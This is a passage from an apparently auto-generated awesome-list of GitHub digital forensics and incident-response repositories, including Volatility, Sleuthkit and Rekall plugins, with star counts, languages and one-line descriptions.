[Py] [davidpany/wmi_forensics](https://github.com/davidpany/wmi_forensics) scripts used to find evidence in WMI repositories, specifically OBJECTS.DATA files - [**141**星][2m] [C++] [dfir-orc/dfir-orc](https://github.com/dfir-orc/dfir-orc) Forensics artefact collection tool for systems running Microsoft Windows - [**139**星][2y] [Py] [jrbancel/chromagnon](https://github.com/jrbancel/chromagnon) Chrome/Chromium Forensic Tool : Parses History, Visited Links, Downloaded Files and Cache - [**131**星][2m] [Py] [benjeems/packetstrider](https://github.com/benjeems/packetstrider) A network packet forensics tool for SSH - [**131**星][2m] [Py] [log2timeline/dfvfs](https://github.com/log2timeline/dfvfs) Digital Forensics Virtual File System (dfVFS) - [**123**星][3y] [PS] [silverhack/voyeur](https://github.com/silverhack/voyeur) generate a fast (and pretty) Active Directory report. - [**122**星][3m] [Py] [redaelli/imago-forensics](https://github.com/redaelli/imago-forensics) a python tool that extract digital evidences from images. - [**119**星][2y] [PS] [javelinnetworks/ir-tools](https://github.com/javelinnetworks/ir-tools) forensics of domain based attacks on an infected host - [**118**星][13d] [Py] [domainaware/parsedmarc](https://github.com/domainaware/parsedmarc) 解析DMARC报告的Python脚本, 含cli - [**115**星][1y] [Shell] [theflakes/ultimate-forensics-vm](https://github.com/theflakes/ultimate-forensics-vm) Evolving directions on building the best Open Source Forensics VM - [**113**星][1y] [C#] [damonmohammadbagher/meterpreter_payload_detection](https://github.com/damonmohammadbagher/meterpreter_payload_detection) Meterpreter_Payload_Detection.exe tool for detecting Meterpreter in memory like IPS-IDS and Forensics tool - [**112**星][8m] [PHP] [xplico/xplico](https://github.com/xplico/xplico) Open Source Network Forensic Analysis Tool (NFAT) - [**108**星][5y] [Py] [mspreitz/adel](https://github.com/mspreitz/adel) dumps all important SQLite Databases from a connected Android smartphone to the local disk and analyzes these files in a forensically accurate workflow - [**108**星][3y] [projectretroscope/retroscope](https://github.com/projectretroscope/retroscope) Public release of the RetroScope Android memory forensics framework - [**99**星][2y] [Py] [trendmicro/defplorex](https://github.com/trendmicro/defplorex) 一种用于大规模电子犯罪取证的机器学习工具包 - [**98**星][6y] [Py] [matonis/page_brute](https://github.com/matonis/page_brute) a digital forensic tool purposed to analyze and categorize individual paged memory frames from Windows Page Files by appying YARA-based signatures to fix-sized blocks of pagefile.sys - [**97**星][5m] [Py] [woanware/usbdeviceforensics](https://github.com/woanware/usbdeviceforensics) Python script for extracting USB information from Windows registry hives - [**96**星][1m] [Py] [airbus-cert/regrippy](https://github.com/airbus-cert/regrippy) a framework for reading and extracting useful forensics data from Windows registry hives - [**96**星][2y] [JS] [anttikurittu/kirjuri](https://github.com/anttikurittu/kirjuri) a web application for managing cases and physical forensic evidence items. - [**93**星][20d] [Py] [log2timeline/dftimewolf](https://github.com/log2timeline/dftimewolf) A framework for orchestrating forensic collection, processing and data export - [**88**星][6m] [Go] [coinbase/dexter](https://github.com/coinbase/dexter) Forensics acquisition framework designed to be extensible and secure - [**87**星][2y] [C++] [google/aff4](https://github.com/google/aff4) The Advanced Forensic File Format - [**86**星][2y] [Py] [cheeky4n6monkey/4n6-scripts](https://github.com/cheeky4n6monkey/4n6-scripts) Forensic Scripts - [**85**星][6m] [Py] [quantika14/guasap-whatsapp-foresincs-tool](https://github.com/quantika14/guasap-whatsapp-foresincs-tool) WhatsApp Forensic Tool - [**79**星][3m] [Py] [google/giftstick](https://github.com/google/giftstick) 1-Click push forensics evidence to the cloud - [**78**星][3y] [C++] [jeffbryner/nbdserver](https://github.com/jeffbryner/nbdserver) Network Block Device Server for windows with a DFIR/forensic focus. - [**78**星][2y] [Py] [trolldbois/python-haystack](https://github.com/trolldbois/python-haystack) Process heap analysis framework - Windows/Linux - record type inference and forensics - [**74**星][2y] [Py] [busindre/dumpzilla](https://github.com/busindre/dumpzilla) Extract all forensic interesting information of Firefox, Iceweasel and Seamonkey browsers - [**73**星][2y] [C++] [kasperskylab/forensicstools](https://github.com/kasperskylab/forensicstools) Tools for DFIR - [**64**星][2y] [Py] [darkquasar/wmi_persistence](https://github.com/darkquasar/wmi_persistence) Python脚本,直接解析 OBJECTS.DATA 文件(无需访问用户WMI 名称空间)查找 WMI persistence - [**64**星][1y] [Py] [ralphje/imagemounter](https://github.com/ralphje/imagemounter) Command line utility and Python package to ease the (un)mounting of forensic disk images - [**63**星][3m] [C] [carmaa/interrogate](https://github.com/carmaa/interrogate) a proof-of-concept tool for identification of cryptographic keys in binary material (regardless of target operating system), first and foremost for memory dump analysis and forensic usage. - [**63**星][2y] [Shell] [yukinoshita47/pentest-tools-auto-installer](https://github.com/yukinoshita47/pentest-tools-auto-installer) Tool sederhana buat install tool-tool pentest dan forensic bagi pengguna linux yang jenis nya non-pentest OS - [**61**星][4y] [Py] [sysinsider/usbtracker](https://github.com/sysinsider/usbtracker) Quick & dirty coded incident response and forensics python script to track USB devices events and artifacts in a Windows OS (Vista and later). - [**53**星][5y] [Py] [osandamalith/chromefreak](https://github.com/osandamalith/chromefreak) A Cross-Platform Forensic Framework for Google Chrome - [**50**星][10d] [PS] [s3cur3th1ssh1t/creds](https://github.com/S3cur3Th1sSh1t/Creds) Some usefull Scripts and Executables for Pentest & Forensics - [**46**星][3y] [PS] [n3l5/irfartpull](https://github.com/n3l5/irfartpull) PowerShell script utilized to pull several forensic artifacts from a live Win7 and WinXP system without WINRM. - [**46**星][1y] [Py] [sentenza/gimp-ela](https://github.com/sentenza/gimp-ela) A JPEG Error Level Analysis forensic plugin for the GNU Image Manipulation Program (GIMP) - [**46**星][8m] [YARA] [xumeiquer/yara-forensics](https://github.com/xumeiquer/yara-forensics) Set of Yara rules for finding files using magics headers - [**43**星][4m] [TSQL] [abrignoni/dfir-sql-query-repo](https://github.com/abrignoni/dfir-sql-query-repo) Collection of SQL query templates for digital forensics use by platform and application. - [**43**星][2y] [C#] [zacbrown/hiddentreasure-etw-demo](https://github.com/zacbrown/hiddentreasure-etw-demo) 在内存取证中,使用 ETW(Windows事件追踪) 挖掘宝藏的新方式 - [**42**星][11d] [Py] [simsong/dfxml](https://github.com/simsong/dfxml) Digital Forensics XML project and library - [**40**星][2y] [HTML] [scorelab/androphsy](https://github.com/scorelab/androphsy) An Open Source Mobile Forensics Investigation Tool for Android Platform - [**39**星][4y] [AutoIt] [ajmartel/irtriage](https://github.com/ajmartel/irtriage) Incident Response Triage - Windows Evidence Collection for Forensic Analysis - [**38**星][2y] [C] [adulau/dcfldd](https://github.com/adulau/dcfldd) enhanced version of dd for forensics and security - [**38**星][2y] [Py] [ytisf/muninn](https://github.com/ytisf/muninn) A short and small memory forensics helper. - [**37**星][10m] [Py] [att/docker-forensics](https://github.com/att/docker-forensics) Tools to assist in forensicating docker - [**36**星][5y] [Py] [eurecom-s3/actaeon](https://github.com/eurecom-s3/actaeon) Memory forensics of virtualization environments - [**35**星][8m] [Py] [am0nt31r0/osint-search](https://github.com/am0nt31r0/osint-search) Useful for digital forensics investigations or initial black-box pentest footprinting. - [**33**星][2y] [C] [weaknetlabs/byteforce](https://github.com/weaknetlabs/byteforce) Offline Digital Forensics Tool for Binary Files - [**32**星][1y] [Py] [andreafortuna/autotimeliner](https://github.com/andreafortuna/autotimeliner) 自动从volatile内存转储中提取取证时间线 - [**31**星][7y] [Perl] [appliedsec/forensicscanner](https://github.com/appliedsec/forensicscanner) Forensic Scanner - [**31**星][2y] [Py] [bltsec/violent-python3](https://github.com/bltsec/violent-python3) Python 3 scripts based on lessons learned from Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers by TJ O'Connor. - [**31**星][5y] [Py] [madpowah/forensicpcap](https://github.com/madpowah/forensicpcap) pcap取证 - [**28**星][6y] [Py] [c0d3sh3lf/android_forensics](https://github.com/c0d3sh3lf/android_forensics) Bypassing Android Pattern Lock - [**27**星][3y] [Java] [animeshshaw/chromeforensics](https://github.com/animeshshaw/chromeforensics) A tool to perform automated forensic analysis of Chrome Browser. - [**26**星][4y] [Py] [cyberhatcoil/acf](https://github.com/cyberhatcoil/acf) Android Connections Forensics - [**24**星][7y] [Ruby] [chrislee35/flowtag](https://github.com/chrislee35/flowtag) FlowTag visualizes pcap files for forensic analysis - [**24**星][3y] [Py] [forensicmatt/pancakeviewer](https://github.com/forensicmatt/pancakeviewer) A DFVFS Backed Forensic Viewer - [**23**星][3m] [Pascal] [nannib/imm2virtual](https://github.com/nannib/imm2virtual) This is a GUI (for Windows 64 bit) for a procedure to virtualize your EWF(E01), DD (raw), AFF disk image file without converting it, directly with VirtualBox, forensically proof. - [**22**星][2y] [C] [lorecioni/imagesplicingdetection](https://github.com/lorecioni/imagesplicingdetection) Illuminant inconsistencies for image splicing detection in forensics - [**22**星][1y] [C] [paul-tew/lifer](https://github.com/paul-tew/lifer) Windows link file forensic examiner - [**22**星][3m] [Py] [circl/forensic-tools](https://github.com/circl/forensic-tools) CIRCL system forensic tools or a jumble of tools to support forensic - [**21**星][2y] [Py] [harris21/afot](https://github.com/harris21/afot) Automation Forensics Tool for Windows - [**20**星][5y] [JS] [jonstewart/sifter](https://github.com/jonstewart/sifter) Indexed search and clustering tool for digital forensics - [**19**星][3y] [Py] [lukdog/backtolife](https://github.com/lukdog/backtolife) Memory forensic tool for process resurrection starting from a memory dump - [**18**星][3y] [C++] [nshadov/screensaver-mouse-jiggler](https://github.com/nshadov/screensaver-mouse-jiggler) Hardware arduino based mouse emulator, preventing screen saver locking (eg. during forensic investigation) - [**18**星][20d] [Py] [sekoialab/fastir_artifacts](https://github.com/sekoialab/fastir_artifacts) Live forensic artifacts collector - [**17**星][Java] [marten4n6/email4n6](https://github.com/marten4n6/email4n6) A simple cross-platform forensic application for processing email files. - [**16**星][9m] [Smarty] [forensenellanebbia/xways-forensics](https://github.com/forensenellanebbia/xways-forensics) Personal settings for X-Ways Forensics - [**15**星][2m] [Dockerfile] [bitsofinfo/comms-analyzer-toolbox](https://github.com/bitsofinfo/comms-analyzer-toolbox) Tool for forensic analysis, search and graphing of communications content such as email MBOX files and CSV text message data using Elasticsearch and Kibana - [**13**星][10m] [Shell] [matthewclarkmay/ftriage](https://github.com/matthewclarkmay/ftriage) Automating forensic data extraction, reduction, and overall triage of cold disk and memory images. - [**13**星][1y] [theresafewconors/file-system-forensics](https://github.com/theresafewconors/file-system-forensics) Repo for Reports on forensic analysis of various File Systems (NoWare to Hide) - [**11**星][3y] [Py] [nipunjaswal/wireless-forensics-framework](https://github.com/nipunjaswal/wireless-forensics-framework) Wireless Forensics Framework In Python - [**11**星][1y] [C++] [shujianyang/btrforensics](https://github.com/shujianyang/btrforensics) Forensic Analysis Tool for Btrfs File System. - [**10**星][2y] [PS] [b2dfir/b2response](https://github.com/b2dfir/b2response) Logged PS Remote Command Wrapper for Blue Team Forensics/IR - [**10**星][3y] [Py] [sekoialab/fastir_server](https://github.com/sekoialab/fastir_server) The FastIR Server is a Web server to schedule FastIR Collector forensics collect thanks to the FastIR Agent - [**9**星][10m] [Perl] [randomaccess3/4n6_stuff](https://github.com/randomaccess3/4n6_stuff) Git for me to put all my forensics stuff - [**9**星][8y] [Perl] [superponible/search-strings-extension](https://github.com/superponible/search-strings-extension) srch_strings is a useful tool in digital forensics. Using the "-t d" option will give a byte location for the string. This repository contains two scripts that automatically map the byte location to the filesystem block containing the string. - [**9**星][1y] [Py] [svelizdonoso/logfishh](https://github.com/svelizdonoso/logfishh) Logs Forensic Investigator SSH - [**9**星][7y] [JS] [thinkski/vinetto](https://github.com/thinkski/vinetto) Forensic tool for examining Thumbs.db files - [**8**星][7y] [Py] [agnivesh/aft](https://github.com/agnivesh/aft) [Deprecated] Android Forensic Toolkit - [**8**星][2y] [asiamina/a-course-on-digital-forensics](https://github.com/asiamina/a-course-on-digital-forensics) A course on "Digital Forensics" designed and offered in the Computer Science Department at Texas Tech University - [**8**星][2m] [PS] [tvfischer/ps-srum-hunting](https://github.com/tvfischer/ps-srum-hunting) PowerShell Script to facilitate the processing of SRUM data for on-the-fly forensics and if needed threat hunting - [**7**星][4m] [PS] [1cysw0rdk0/whodunnit](https://github.com/1cysw0rdk0/whodunnit) A PS forensics tool for Scraping, Filtering and Exporting Windows Event Logs - [**7**星][3y] [dfax/dfax](https://github.com/dfax/dfax) (DEPRECATED) Digital Forensic Analysis eXpression - [**7**星][1y] [Py] [dlcowen/testkitchen](https://github.com/dlcowen/testkitchen) Scripts from The Forensic Lunch Test Kitchen segments - [**7**星][3y] [Py] [maurermj08/vftools](https://github.com/maurermj08/vftools) An open source forensic toolkit built on dfVFS - [**7**星][2y] [Rust] [rustensic/prefetchkit](https://github.com/rustensic/prefetchkit) A powerful forensic commandline tool for analyzing Microsoft Prefetch files. - [**7**星][2y] [socprime/muddywater-apt](https://github.com/socprime/muddywater-apt) an APT group that has been active throughout 2017 - [**6**星][4y] [C#] [alphadelta/clearbytes](https://github.com/alphadelta/clearbytes) Data forensic tool - [**6**星][6m] [Shell] [hestat/calamity](https://github.com/hestat/calamity) A script to assist in processing forensic RAM captures for malware triage - [**5**星][1y] [Shell] [kpcyrd/booty](https://github.com/kpcyrd/booty) Minimal forensic/exfiltration/evil-maid/rescue live boot system - [**5**星][8m] [zmbf0r3ns1cs/bf-elk](https://github.com/zmbf0r3ns1cs/bf-elk) Burnham Forensics ELK Deployment Files - [**5**星][9m] [Py] [obsidianforensics/scripts](https://github.com/obsidianforensics/scripts) Small scripts and POCs related to digital forensics - [**4**星][5m] [Py] [bradley-evans/cfltools](https://github.com/bradley-evans/cfltools) A logfile analysis tool for cyberforensics investigators. - [**4**星][3y] [jaredthecoder/codestock2017-stuxnet-forensic-analysis](https://github.com/jaredthecoder/codestock2017-stuxnet-forensic-analysis) Slides and demo script for my talk at Codestock 2017 - [**4**星][3y] [Py] [rotenkatz/ecos_romfs_unpacker](https://github.com/rotenkatz/ecos_romfs_unpacker) It is a simple ecos ROMFS unpacker for forensics and firmware analysis needs - [**3**星][2y] [Py] [bedazzlinghex/memory-analysis](https://github.com/bedazzlinghex/memory-analysis) Contains tools to perform malware and forensic analysis in Memory - [**3**星][1y] [Py] [inp2/sherlock](https://github.com/inp2/sherlock) a digital forensic analysis toolkit that relies on graph theory, link analysis, and probabilistic graphical models in order to aid the examiner in digital forensic investigations. - [**2**星][2y] [Py] [edisonljh/hadoop_ftk](https://github.com/edisonljh/hadoop_ftk) Hadoop File System Forensics Toolkit - [**2**星][C] [enrico204/unhide](https://github.com/enrico204/unhide) A fork of original "unhide" forensics tool from SourceForge CVS - [**2**星][4m] [Py] [docker-forensics-toolkit/toolkit](https://github.com/docker-forensics-toolkit/toolkit) A toolkit for the post-mortem examination of Docker containers from forensic HDD copies - [**2**星][1m] [Py] [thebeanogamer/hstsparser](https://github.com/thebeanogamer/hstsparser) A tool to parse Firefox and Chrome HSTS databases into forensic artifacts! - [**1**星][3m] [Go] [cdstelly/nugget](https://github.com/cdstelly/nugget) A Domain Specific Language for Digital Forensics - [**1**星][3y] [C++] [colinmckaycampbell/rapidfilehash](https://github.com/colinmckaycampbell/rapidfilehash) Fast and powerful SHA256 hashing for malware detection and digital forensics. - [**1**星][6m] [Py] [pagabuc/atomicity_tops](https://github.com/pagabuc/atomicity_tops) Introducing the Temporal Dimension to Memory Forensics - ACM Transactions on Privacy and Security 2019 - [**1**星][2y] [Py] [trolldbois/python-haystack-reverse](https://github.com/trolldbois/python-haystack-reverse) Memory forensics data structure reversing - [**0**星][4y] [bedazzlinghex/disk-analysis](https://github.com/bedazzlinghex/disk-analysis) Contains tools to perform malware and forensic analysis on disk - [**0**星][3y] [C] [irq8/trackercat](https://github.com/irq8/trackercat) A GPS Forensics Utility to Parse GPX Files *** ## <a id="bd653a0f2c8ff4aab78bb2be2257362b"></a>LinuxDistro - [**127**星][11m] [Shell] [wmal/kodachi](https://github.com/wmal/kodachi) Linux Kodachi operating system, based on Xubuntu 18.04, provide you with a secure, anti-forensic, and anonymous operating system considering all features that a person who is concerned about privacy would need to have in order to be secure. - [**104**星][6y] [santoku/santoku-linux](https://github.com/santoku/santoku-linux) Linux Distro for Mobile Security, Malware Analysis, and Forensics - [**13**星][4y] [nelenkov/santoku-linux](https://github.com/nelenkov/santoku-linux) Linux Distro for Mobile Security, Malware Analysis, and Forensics *** ## <a id="601dcc03dc2254612e1b88816ae2b820"></a>资源收集 - [**3230**星][14d] [Rich Text Format] [the-art-of-hacking/h4cker](https://github.com/The-Art-of-Hacking/h4cker) 资源收集:hacking、渗透、数字取证、事件响应、漏洞研究、漏洞开发、逆向 - [**841**星][2m] [cugu/awesome-forensics](https://github.com/cugu/awesome-forensics) A curated list of awesome forensic analysis tools and resources - [**265**星][10d] [Py] [den4uk/andriller](https://github.com/den4uk/andriller) a collection of forensic tools for smartphones - [**76**星][3m] [ivbeg/awesome-forensicstools](https://github.com/ivbeg/awesome-forensicstools) Awesome list of digital forensic tools - [**12**星][27d] [gaurav-gogia/dftools](https://github.com/gaurav-gogia/dftools) A curated list of digital forensic tools. - [**10**星][4y] [Py] [randomsctf/ctf-scripts](https://github.com/randomsctf/ctf-scripts) A collection of short scripts for analysis, encryption and forensics, that can be used for CTF and/or security assessments - [**8**星][26d] [Shell] [kbnlresearch/forensicimagingresources](https://github.com/kbnlresearch/forensicimagingresources) resources and documentation related to an effort at setting up an experimental small-scale forensic imaging facility. - [**4**星][2y] [netseclab/paper_for_digital_forensics](https://github.com/netseclab/paper_for_digital_forensics) This is a collection of papers, codes, issues for digital forensics. - [**2**星][2y] [kanglib/edu_for](https://github.com/kanglib/edu_for) A cheat sheet for digital forensics *** ## <a id="4d2a33083a894d6e6ef01b360929f30a"></a>Volatility - [**3276**星][3m] [Py] [volatilityfoundation/volatility](https://github.com/volatilityfoundation/volatility) An advanced memory forensics framework - [**326**星][9m] [Py] [jasonstrimpel/volatility-trading](https://github.com/jasonstrimpel/volatility-trading) A complete set of volatility estimators based on Euan Sinclair's Volatility Trading - [**293**星][3y] [Py] [kevthehermit/volutility](https://github.com/kevthehermit/volutility) Web App for Volatility framework - [**226**星][3m] [Py] [volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) Volatility profiles for Linux and Mac OS X - [**222**星][2y] [JS] [jameshabben/evolve](https://github.com/jameshabben/evolve) Web interface for the Volatility Memory Forensics Framework - [**220**星][1m] [Py] [volatilityfoundation/community](https://github.com/volatilityfoundation/community) Volatility plugins developed and maintained by the community - [**217**星][3y] [Py] [mkorman90/volatilitybot](https://github.com/mkorman90/volatilitybot) An automated memory analyzer for malware samples and memory dumps - [**197**星][11d] [Py] [jpcertcc/malconfscan](https://github.com/jpcertcc/malconfscan) Volatility plugin for extracts configuration data of known malware - [**171**星][2m] [Py] [gleeda/memtriage](https://github.com/gleeda/memtriage) 快速查询Windows计算机上的内存。使用Winpmem驱动访问物理内存,使用Volatility分析 - [**162**星][2y] [Py] [aim4r/voldiff](https://github.com/aim4r/voldiff) Malware Memory Footprint Analysis based on Volatility - [**149**星][21d] [Py] [volatilityfoundation/volatility3](https://github.com/volatilityfoundation/volatility3) Volatility 3.0 development - [**131**星][8m] [Py] [kd8bny/limeaide](https://github.com/kd8bny/limeaide) A python application designed to remotely dump RAM of a Linux client and create a volatility profile for later analysis on your local host. - [**130**星][4y] [Py] [elceef/bitlocker](https://github.com/elceef/bitlocker) Volatility Framework plugin for extracting BitLocker FVEK (Full Volume Encryption Key) - [**90**星][5m] [Py] [tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) Autoruns plugin for the Volatility framework - [**76**星][2y] [Py] [superponible/volatility-plugins](https://github.com/superponible/volatility-plugins) Plugins I've written for Volatility - [**71**星][3y] [Py] [monnappa22/hollowfind](https://github.com/monnappa22/hollowfind) a Volatility plugin to detect different types of process hollowing techniques used in the wild to bypass, confuse, deflect and divert the forensic analysis techniques - [**61**星][3y] [Py] [fireeye/volatility-plugins](https://github.com/fireeye/volatility-plugins) plugins for the Volatility Framework. - [**44**星][3y] [Py] [tribalchicken/volatility-filevault2](https://github.com/tribalchicken/volatility-filevault2) Volatility plugin to extract FileVault 2 VMK's - [**43**星][6y] [Py] [sketchymoose/totalrecall](https://github.com/sketchymoose/totalrecall) Based on the Volatility framework, this script will run various plugins as well as create a timeline, or use YARA/ClamAV/VirusTotal to find badness. - [**43**星][3y] [Py] [tylerha97/findevil](https://github.com/tylerha97/findevil) Volatility plugin to find evil - [**40**星][3m] [Py] [fireeye/win10_volatility](https://github.com/fireeye/win10_volatility) An advanced memory forensics framework - [**39**星][4y] [Py] [takahiroharuyama/openioc_scan](https://github.com/takahiroharuyama/openioc_scan) openioc_scan Volatility Framework plugin - [**38**星][3y] [Py] [cysinfo/pymal](https://github.com/cysinfo/pymal) PyMal is a python based interactive Malware Analysis Framework. It is built on the top of three pure python programes Pefile, Pydbg and Volatility. - [**38**星][3y] [Py] [kevthehermit/volatility_plugins](https://github.com/kevthehermit/volatility_plugins) Volatility Plugins - [**33**星][1y] [Py] [eset/volatility-browserhooks](https://github.com/eset/volatility-browserhooks) Volatility Framework plugin to detect various types of hooks as performed by banking Trojans - [**32**星][4y] [Py] [csababarta/volatility_plugins](https://github.com/csababarta/volatility_plugins) Volatility plugins created by the author - [**32**星][2y] [Py] [eurecom-s3/linux_screenshot_xwindows](https://github.com/eurecom-s3/linux_screenshot_xwindows) Volatility插件, 从内存dump中提取Windows截屏 - [**29**星][2y] [Py] [tribalchicken/volatility-bitlocker](https://github.com/tribalchicken/volatility-bitlocker) Volatility plugin to extract BitLocker Full Volume Encryption Keys (FVEK) - [**28**星][5y] [Py] [phaeilo/vol-openvpn](https://github.com/phaeilo/vol-openvpn) A Volatility plugin to extract credentials from the memory of a OpenVPN client. - [**25**星][2m] [Py] [cube0x8/chrome_ragamuffin](https://github.com/cube0x8/chrome_ragamuffin) Google Chrome internals analysis using Volatility - [**22**星][4y] [Py] [monnappa22/linux_mem_diff_tool](https://github.com/monnappa22/linux_mem_diff_tool) Script to perform Linux Memory Diff Analysis Using Volatility - [**22**星][1y] [Py] [sebastienbr/volatility](https://github.com/sebastienbr/volatility) Utilities for the memory forensics framework - [**22**星][5y] [Py] [siliconblade/volatility](https://github.com/siliconblade/volatility) volatility - [**21**星][6y] [Py] [carlpulley/volatility](https://github.com/carlpulley/volatility) A collection of Volatility Framework plugins. - [**21**星][2y] [Py] [kslgroup/threadmap](https://github.com/kslgroup/threadmap) threadmap plugin for Volatility Foundation - [**20**星][5y] [kdpryor/linuxvolprofiles](https://github.com/kdpryor/linuxvolprofiles) Volatility Linux Profiles - [**19**星][3y] [Py] [monnappa22/psinfo](https://github.com/monnappa22/psinfo) Psinfo is a Volatility plugin which collects the process related information from the VAD (Virtual Address Descriptor) and PEB (Process Enivornment Block) and displays the collected information and suspicious memory regions for all the processes running on the system. This plugin should allow a security analyst to get the process related informa… - [**18**星][3y] [Py] [bridgeythegeek/editbox](https://github.com/bridgeythegeek/editbox) EditBox is a plugin for the Volatility Framework. It extracts the text from Windows Edit controls, that is, textboxes as generated by Windows Common Controls. - [**18**星][2y] [iabadia/volatility-plugin-tutorial](https://github.com/iabadia/volatility-plugin-tutorial) Development guide for Volatility Plugins - [**17**星][6y] [Py] [dutchy-/volatility-plugins](https://github.com/dutchy-/volatility-plugins) Container for assorted volatility plugins. - [**16**星][1y] [Py] [andreafortuna/malhunt](https://github.com/andreafortuna/malhunt) Hunt malware with Volatility - [**16**星][4m] [Dockerfile] [blacktop/docker-volatility](https://github.com/blacktop/docker-volatility) Volatility Dockerfile - [**16**星][2y] [Py] [borjamerino/doublepulsar-volatility](https://github.com/borjamerino/doublepulsar-volatility) Volatility plugin to help identify DoublePulsar implant by listing the array of pointers SrvTransaction2DispatchTable from the srv.sys driver. - [**16**星][6m] [Py] [mbrown1413/sqlitefind](https://github.com/mbrown1413/sqlitefind) A Volatility plugin for finding sqlite database rows - [**13**星][12m] [Py] [citronneur/volatility-wnf](https://github.com/citronneur/volatility-wnf) Browse and dump Windows Notification Facilities - [**12**星][6y] [Py] [jeffbryner/volatilityplugins](https://github.com/jeffbryner/volatilityplugins) My volatility Plugins - [**11**星][4y] [Py] [4armed/volatility-attributeht](https://github.com/4armed/volatility-attributeht) - [**11**星][5y] [Py] [tomspencer/volatility](https://github.com/tomspencer/volatility) Volatility stuff - [**11**星][5y] [Py] [kudelskisecurity/volatility-plugins](https://github.com/kudelskisecurity/Volatility-plugins) Volatility plugins - [**10**星][2y] [Py] [circl/volatility-misp](https://github.com/circl/volatility-misp) Volatility plugin to interface with MISP - [**9**星][1m] [Py] [dhondta/appmemdumper](https://github.com/dhondta/appmemdumper) Forensics triage tool relying on Volatility and Foremost - [**9**星][11m] [Py] [pengjin2/derbit-volatility-visulization](https://github.com/pengjin2/derbit-volatility-visulization) Visualization Tool for Deribit Options - [**9**星][5m] [MATLAB] [tommasobelluzzo/historicalvolatility](https://github.com/tommasobelluzzo/historicalvolatility) A framework for historical volatility estimation and analysis. - [**8**星][3y] [Py] [martink90/volatilitybot_public](https://bitbucket.org/martink90/volatilitybot_public) - [**8**星][6y] [C#] [andy5876/volatility-plugin-manager](https://github.com/andy5876/volatility-plugin-manager) GUI interface for Volatility - [**8**星][1y] [Py] [countercept/volatility-plugins](https://github.com/countercept/volatility-plugins) - [**8**星][2y] [C] [lixingchen12138/libvmi-volatility-master](https://github.com/lixingchen12138/libvmi-volatility-master) 虚拟机带外内存监控 - [**8**星][3m] [Py] [swelcher/vol2log](https://github.com/swelcher/vol2log) 解析Volatility Json格式输出并导入至Graylog - [**7**星][4y] [Py] [bridgeythegeek/ndispktscan](https://github.com/bridgeythegeek/ndispktscan) NDISPktScan is a plugin for the Volatility Framework. It parses the Ethernet packets stored by ndis.sys in Windows kernel space memory. - [**7**星][4m] [Java] [esterhlav/black-scholes-option-pricing-model](https://github.com/esterhlav/black-scholes-option-pricing-model) Black Scholes Option Pricing calculator with Greeks and implied volatility computations. Geometric Brownian Motion simulator with payoff value diagram and volatility smile plots. Java GUI. - [**7**星][1y] [mattnotmax/volatility_mind_map](https://github.com/mattnotmax/volatility_mind_map) A Volatility command reference mind map - [**5**星][2y] [R] [niki864/volatilityanalysisbitcoin](https://github.com/niki864/volatilityanalysisbitcoin) A technical analysis of price volatility in bitcoins for a over a year using 6 hour intervals - [**4**星][6m] [Py] [carlospolop/autovolatility](https://github.com/carlospolop/autovolatility) Run several volatility plugins at the same time - [**4**星][3y] [HTML] [luisdamiano/rfinance17](https://github.com/luisdamiano/rfinance17) Presentation and notebook for the lightning talk A Quick Intro to Hidden Markov Models Applied to Stock Volatility presented in R/Finance 2017. - [**3**星][2y] [R] [prodipta/bsoption](https://github.com/prodipta/bsoption) Package for option pricing and volatility calibration for index (and FX) options - [**2**星][7m] [PHP] [yegor256/volatility](https://github.com/yegor256/volatility) The Calculator of the Source Code "Volatility" Metric - [**1**星][2y] [Py] [samduy/volatility-uclinux](https://github.com/samduy/volatility-uclinux) Volatility profile for uclinux - [**1**星][2m] [Py] [mdenzel/acpi-rootkit-scan](https://github.com/mdenzel/acpi-rootkit-scan) volatility plugin to detect ACPI rootkits - [**1**星][11m] [Py] [tazwake/volatility-plugins](https://github.com/tazwake/volatility-plugins) Learning volatility plugins. - [**1**星][7m] [Py] [angelomirabella/linux_coredump](https://github.com/angelomirabella/linux_coredump) Volatility plugin that attempts to create a core dump file starting from the memory of a Linux process - [**1**星][4m] [Py] [kslgroup/winobj](https://github.com/kslgroup/winobj) A volatility plugin to parse Object Directories - [**0**星][5y] [mohandattatreya/4n6k_volatility_installer](https://github.com/mohandattatreya/4n6k_volatility_installer) Installs Volatility 2.4 (+ all dependencies) for Ubuntu (+ other APT-based distros) with one command. - [**0**星][19d] [Py] [orchechik/ropfind](https://github.com/orchechik/ropfind) Volatility Plugins to find rop gadgets in Windows and Linux physical memory dumps. - [**0**星][4m] [Py] [kslgroup/tokenimp-token_impersonation_detection](https://github.com/kslgroup/tokenimp-token_impersonation_detection) A volatility plugin to detect Token Impersonation *** ## <a id="8159418f807637a0d70406803a3c08c5"></a>Sleuthkit - [**1482**星][11d] [C] [sleuthkit/sleuthkit](https://github.com/sleuthkit/sleuthkit) a library and collection of command line digital forensics tools that allow you to investigate volume and file system data. - [**840**星][9d] [Java] [sleuthkit/autopsy](https://github.com/sleuthkit/autopsy) a digital forensics platform and graphical interface to The Sleuth Kit® and other digital forensics tools. - [**26**星][2m] [blackbagtech/sleuthkit-apfs](https://github.com/blackbagtech/sleuthkit-apfs) A fork of The Sleuthkit with Pooled Storage and APFS support. See - [**6**星][3y] [Pascal] [nannib/nbtempow](https://github.com/nannib/nbtempow) a forensic tool for making timelines from block devices image files (raw, ewf,physicaldrive, etc. - [**1**星][3m] [Shell] [nannib/nbtempo](https://github.com/nannib/nbtempo) a GUI (Graphical User Interface) Bash script for making files timelines and reporting them in CSV (electronic sheet) format. *** ## <a id="0b1db12ec509cd6fb489c93a4cc837d5"></a>Rekall - [**1522**星][10m] [Py] [google/rekall](https://github.com/google/rekall) Rekall Memory Forensic Framework - [**82**星][1y] [HTML] [google/rekall-profiles](https://github.com/google/rekall-profiles) Public Profile Repository for Rekall Memory Forensic. - [**5**星][4y] [bmaia/rekall-profiles](https://github.com/bmaia/rekall-profiles) Rekall Memory Forensic Linux Profiles - [**2**星][25d] [Py] [f-block/rekall-plugins](https://github.com/f-block/rekall-plugins) *** ## <a id="0d23b542d7b0b1069a91f6c500009c3a"></a>bulk_extractor - [**391**星][19d] [C++] [simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) 取证工具 - [**11**星][3y] [Java] [nps-deep/sectorscope](https://github.com/NPS-DEEP/SectorScope) A GUI for viewing block hashes found using hashdb and bulk_extractor - [**0**星][2y] [Lex] 